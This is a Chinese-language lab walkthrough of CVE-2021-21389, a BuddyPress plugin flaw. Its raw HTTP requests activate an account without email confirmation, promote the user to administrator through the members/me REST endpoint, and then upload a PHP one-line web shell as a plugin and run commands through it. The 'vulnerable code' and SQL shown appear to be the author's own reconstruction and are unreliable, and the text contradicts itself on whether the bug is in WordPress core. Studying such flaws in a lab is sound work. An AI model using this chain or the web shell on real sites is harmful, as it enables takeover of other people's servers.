目录
一、漏洞描述
二、影响版本
三、漏洞成因
1.绕过邮箱验证,直接激活账户
2.获取admin权限
3.一句话木马
一、漏洞描述
CVE-2021-21389 是 WordPress 核心代码中一个因权限验证不严导致的垂直越权漏洞。攻击者可以通过此漏洞以低权限用户身份执行本应仅限管理员或高权限用户的操作。
BuddyPress 是一个用于构建社区站点的WordPress插件。当BuddyPress处于5.0.0-7.2.1时,非特权用户可以通过利用REST API 成员端点(BuddyPress中用于管理成员数据的API接口)中的问题来获得管理员权限。
二、影响版本
5.0.0 - 7.2.1
三、漏洞成因
分析一下该漏洞到底是怎么形成的。
(1)首先是BuddyPress的REST API端点(/wp-json/buddypress/v1/signup)未严格校验用户权限,导致攻击者可以发送精心构造的http请求,绕过权限检查(下面是我在kali的docker中弄的一个镜像,并非vulfocus靶场中的,靶场有些不太稳定)
先清楚一个点:即使某些API端点(如/wp-json/buddypress/v1/signup)未在前端提供显式入口,只要其路径符合REST规范且未被禁用,攻击者就可以通过猜测或文档泄露构造请求。
所以这里先直接构造http请求包
1.绕过邮箱验证,直接激活账户
这里构造的请求包为:
POST //wp-json/buddypress/v1/signup HTTP/1.1
Host:******:85
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
然后将响应包中的activation_key取出来
flEhVi5GrS9y2aVHRdXCGiGsbdkCitmS
为什么取这个出来?在BuddyPress的默认设计中,用户注册通常分为两步:
1.注册提交
用户提交注册信息,BuddyPress生成一个activation_key,并将其与用户数据临时存储在数据库(如wp_signups表)中
2.账户激活
系统向用户邮箱发送包含activation_key的激活连接,用户点击链接后账户才正式生效
而这里将该key提取出来,核心目的是为了绕过安全机制,直接激活账户以触发漏洞,先进行下一步操作,构造请求包:
PUT //wp-json/buddypress/v1/signup/activate/flEhVi5GrS9y2aVHRdXCGiGsbdkCitmS HTTP/1.1
Host:****:85
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
这里通过使用activation_key能够绕过邮箱激活链接,使攻击者能够直接激活账户
2.获取admin权限
访问下面的地址
http://ip:port/groups/create/step/group-details/
填写下面的Details
然后点击create,然后接下来的所有操作都默认,要么next,要么finish,之后设置好之后直接回到
groups界面
然后先点击manage,再点击members,,开启抓包后,再点击ban
此时需要请求包中的两个参数,一个是X-WP-Nonce 一个是Cookie,将这两个值记下来,然后构造,下面的请求包,再将X-WP-Nonce 和 Cookie的值替换成自己的就行了
POST /wp-json/buddypress/v1/members/me HTTP/1.1
Host: ip:port
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-WP-Nonce: ba2306fc25
Content-Type: application/json; charset=UTF-8
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_dc5dea4d5adfbe3d341e6f76ded8593b=test1121%7C1740902762%7C2Q3tKJAFNx35qXLWUN5tXHnGVrAxJgXrjB5xRY5XUyT%7C7b8331f9971456e2656536e0571076ecc1d66bbea7c036aca43dbd952c68495b; wp-settings-time-2=1740712218; wp-settings-2=mfold%3Do; vue_admin_template_token=undefined
Content-Length: 26{"roles": "administrator"}
放包后就拥有管理员权限了
不急着下一步,对于这一系列操作后面的利用逻辑才是我需要学习的。回顾一下每一步
在提权到admin的过程中:我们先进行了分组操作,让自己置于一个组下。这样有什么作用呢?
BuddyPress在members端点中未对敏感字段(如roles)进行分组隔离或权限校验,导致普通用户可直接修改这些字段!获得的X-WP-Nonce和Cookie只是为了验证我们的身份,然后在members/me端点下,因其未限制敏感字段roles,导致我们可以直接修改roles的值提权到admin
而在底层代码,bp_rest_update_member中
function bp_rest_update_member($request) {$user_id = get_current_user_id(); // 获取当前用户 ID$params = $request->get_params();// 直接更新用户数据,未校验字段合法性wp_update_user(['ID' => $user_id,'role' => $params['roles'] // 漏洞点:允许普通用户修改角色]);
}
并且后续的wp_update_user 函数未进行二次校验权限,直接将角色写入数据库
UPDATE wp_users SET role = 'administrator' WHERE ID = <user_id>;
就导致了垂直越权
3.一句话木马
然后利用plugin更新来上传我们的一句话木马文件
木马文件的内容为:
Content-Disposition: form-data; name="pluginzip"; filename="hack.php"Content-Type: text/php<?phpsystem($_GET[cmd]);?>
显示的是:
直接在/wp-content/uploads/2025/02 中看
点击hack.php 再传参数,hack.php?cmd=id 就成功执行命令了